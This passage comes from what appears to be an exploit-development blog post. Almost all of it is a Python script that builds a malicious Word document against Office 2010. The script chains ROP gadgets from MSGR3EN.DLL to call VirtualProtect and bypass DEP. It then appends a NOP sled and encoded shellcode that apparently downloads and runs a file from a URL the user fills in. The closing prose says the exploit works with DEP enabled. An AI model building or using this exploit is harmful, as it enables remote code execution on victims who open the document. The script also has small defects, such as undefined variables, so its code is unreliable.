“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x30\x35\x30\x30\x30\x30\x41\x30\x30”



“\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30”



“\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30”)



#Main Control



Main = “1780203f” # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] **



req = (“\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31” # 00000060



“\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31” # 00000070



“\x31\x31\x31\x31\x30\x30\x30\x30\x30\x30\x30\x30”)



control = “1780203f” # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] **



control += “1780203f” # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] **



control += “1780203f” # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] **



control += “1780203f” # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] **



control += “1780203f” # 0x3F208016 : # RETN [Module : MSGR3EN.DLL] **



#———————–put Stack Pointer in EAX & EDI ————————–#



rop = “8546393f” # 0x3F394685 : {POP} # PUSH ESP # XOR EAX,EAX # POP EDI # POP ESI # RETN [Module : MSGR3EN.DLL] **



rop += “41414141” # Padding for POP ESI



rop += “28fc393f” # 0x3F39FC28 : # MOV EAX,EDI # POP ESI # RETN [Module : MSGR3EN.DLL] **



rop += “41414141” # Padding for POP ESI



rop += “a013353f” # 0x3F3513A0 : 20 : # ADD ESP,20 # RETN 4 – MSGR3EN.DLL – **



rop += “41414141” * 2 # Padding for JUMP



#——————-Parameters for VirtualProtect() —————————-#



VirtualProtect = “825a203f” # 0x3f205a82 : # JMP ECX | Call VirtualProtect()



VirtualProtect += “41414141” # Return Address



VirtualProtect += “42424242” # lpAdress



VirtualProtect += “dc050000” # Size 1500



VirtualProtect += “40000000” # flNewProtect



VirtualProtect += “10133b3f” # Writeable Address 3F3B1310



#——————– Setting 1st Parameter ————————————–#



param1 = “bff62e3f” # 0x3F2EF6BF : # XCHG EAX,EDX # RETN [Module : MSGR3EN.DLL] **



param1 += “41414141” # Padding for ADD ESP,20 # RETN 4



param1 += “8c58343f” # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] **



param1 += “ef94303f” # 0x3F3094EF : # XCHG EAX,ESI # RETN [Module : MSGR3EN.DLL] **



param1 += “8c58343f” # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] **



param1 += “f782393f” # 0x3F3982F7 : # ADD EAX,100 # POP EBP # RETN [Module : MSGR3EN.DLL] **



param1 += “41414141” # Padding for POP EBP



param1 += “e982393f” # 0x3F3982E9 : # ADD EAX,40 # POP EBP # RETN [Module : MSGR3EN.DLL] **



param1 += “41414141” # Padding for POP EBP



param1 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param1 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param1 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param1 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param1 += “1197363f” # 0x3F369711 : {POP} # MOV DWORD PTR DS:[ESI+18],EAX # POP EDI # POP ESI # RETN 4 [Module : MSGR3EN.DLL] **



param1 += “41414141” # Padding for POP EDI



param1 += “41414141” # Padding for POP ESI



#——————– Setting 2nd Parameter ————————————–#



param2 = “8c58343f” # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] **



param2 += “41414141” # Padding for RETN 4



param2 += “ef94303f” # 0x3F3094EF : # XCHG EAX,ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “8c58343f” # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] **



param2 += “f782393f” # 0x3F3982F7 : # ADD EAX,100 # POP EBP # RETN [Module : MSGR3EN.DLL] **



param2 += “41414141” # Padding for POP EBP



param2 += “e982393f” # 0x3F3982E9 : # ADD EAX,40 # POP EBP # RETN [Module : MSGR3EN.DLL] **



param2 += “41414141” # Padding for POP EBP



param2 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “8aa02c3f” # 0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL] **



param2 += “1197363f” # 0x3F369711 : {POP} # MOV DWORD PTR DS:[ESI+18],EAX # POP EDI # POP ESI # RETN 4 [Module : MSGR3EN.DLL] **



param2 += “41414141” # Padding for POP EDI



param2 += “41414141” # Padding for POP ESI



#————————- Fetch & Call VirtualProtect() address ———————-#



call = “8c58343f” # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] **



call += “41414141” # Padding for RET 4



call += “4ced2f3f” # 0x3f2fed4c : # POP EAX # RETN ** [MSGR3EN.DLL]



call += “0811103f” # PTR to VirtualProtect()



call += “5e742b3f” # 0x3f2b745e : # MOV ECX,DWORD PTR DS:[EAX] # RETN ** [MSGR3EN.DLL]



call += “8c58343f” # 0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL] **



call += “30d7393f” # ADD EAX,8 # RETN [Module : MSGR3EN.DLL] **



call += “30d7393f” # ADD EAX,8 # RETN [Module : MSGR3EN.DLL] **



call += “30d7393f” # ADD EAX,8 # RETN [Module : MSGR3EN.DLL] **



call += “08da2f3f” # 0x3F2FDA08 : # XCHG EAX,ESP # RETN [Module : MSGR3EN.DLL] **



nops = “90” * 180



magic = (



“\x65\x62\x37\x31\x33\x31\x63\x39\x36\x34\x38\x62\x37\x31\x33\x30\x38”



“\x62\x37\x36\x30\x63\x38\x62\x37\x36\x31\x63\x38\x62\x35\x65\x30\x38”



“\x38\x62\x37\x65\x32\x30\x38\x62\x33\x36\x36\x36\x33\x39\x34\x66\x31”



“\x38\x37\x35\x66\x32\x63\x33\x36\x30\x38\x62\x36\x63\x32\x34\x32\x34”



“\x38\x62\x34\x35\x33\x63\x38\x62\x35\x34\x32\x38\x37\x38\x30\x31\x65”



“\x61\x38\x62\x34\x61\x31\x38\x38\x62\x35\x61\x32\x30\x30\x31\x65\x62”



“\x65\x33\x33\x34\x34\x39\x38\x62\x33\x34\x38\x62\x30\x31\x65\x65\x33”



“\x31\x66\x66\x33\x31\x63\x30\x66\x63\x61\x63\x38\x34\x63\x30\x37\x34”



“\x30\x37\x63\x31\x63\x66\x30\x64\x30\x31\x63\x37\x65\x62\x66\x34\x33”



“\x62\x37\x63\x32\x34\x32\x38\x37\x35\x65\x31\x38\x62\x35\x61\x32\x34”



“\x30\x31\x65\x62\x36\x36\x38\x62\x30\x63\x34\x62\x38\x62\x35\x61\x31”



“\x63\x30\x31\x65\x62\x38\x62\x30\x34\x38\x62\x30\x31\x65\x38\x38\x39”



“\x34\x34\x32\x34\x31\x63\x36\x31\x63\x33\x65\x38\x39\x32\x66\x66\x66”



“\x66\x66\x66\x35\x64\x65\x62\x30\x35\x65\x38\x66\x33\x66\x66\x66\x66”



“\x66\x66\x38\x39\x65\x66\x38\x33\x65\x66\x38\x39\x38\x39\x65\x65\x38”



“\x33\x65\x65\x39\x35\x38\x31\x65\x64\x34\x35\x66\x66\x66\x66\x66\x66”



“\x36\x38\x33\x33\x63\x61\x38\x61\x35\x62\x35\x33\x65\x38\x38\x61\x66”



“\x66\x66\x66\x66\x66\x35\x35\x36\x61\x36\x34\x66\x66\x64\x30\x35\x37”



“\x38\x39\x63\x37\x30\x31\x65\x66\x61\x34\x38\x30\x37\x66\x66\x66\x30”



“\x30\x37\x35\x66\x39\x35\x66\x36\x38\x38\x65\x34\x65\x30\x65\x65\x63”



“\x35\x33\x65\x38\x36\x64\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39\x36”



“\x36\x62\x39\x36\x66\x36\x65\x35\x31\x36\x38\x37\x35\x37\x32\x36\x63”



“\x36\x64\x35\x34\x66\x66\x64\x30\x36\x38\x33\x36\x31\x61\x32\x66\x37”



“\x30\x35\x30\x65\x38\x35\x33\x66\x66\x66\x66\x66\x66\x33\x31\x63\x39”



“\x35\x31\x35\x31\x35\x35\x35\x37\x35\x31\x66\x66\x64\x30\x36\x38\x39”



“\x38\x66\x65\x38\x61\x30\x65\x35\x33\x65\x38\x33\x66\x66\x66\x66\x66”



“\x66\x66\x34\x31\x35\x31\x35\x35\x66\x66\x64\x30\x37\x33\x37\x36\x36”



“\x33\x36\x38\x36\x66\x37\x33\x37\x34\x32\x65\x36\x35\x37\x38\x36\x35”



“\x30\x30”



)



URL = “write your own url”



binnu = binascii.b2a_hex(URL)



shellcode = magic + binnu + URL2



end = (“\x7B\x7D\x7D\x7D\x7D\x7D\x7D\x2E\x2E\x2E\x7D\x7D”)



fo = open(“template”, “rb”)



tmpl = fo.read();



fo.close()



####################################



payload = tmpl + header + Main + req + control + rop + VirtualProtect + param1 + param2 + call + nops + shellcode + end



#############################################



file = open(“Exploit.doc”,’wb’)



file.write(payload)



file.close



Now we need to check if the exploit works.Let’s check the status of DEP.



DEP is enabled.Let’s see if the exploit works.



Wow, the exploit is working fine. Just a reminder: my objective for this post was not to discuss how to create an ROP chain in detail but to show how to make an exploit work on Office 2010. One should be easily able to understand what I have written above. In the next article, I will write only about the process of making an ROP chain in detail, step by step.

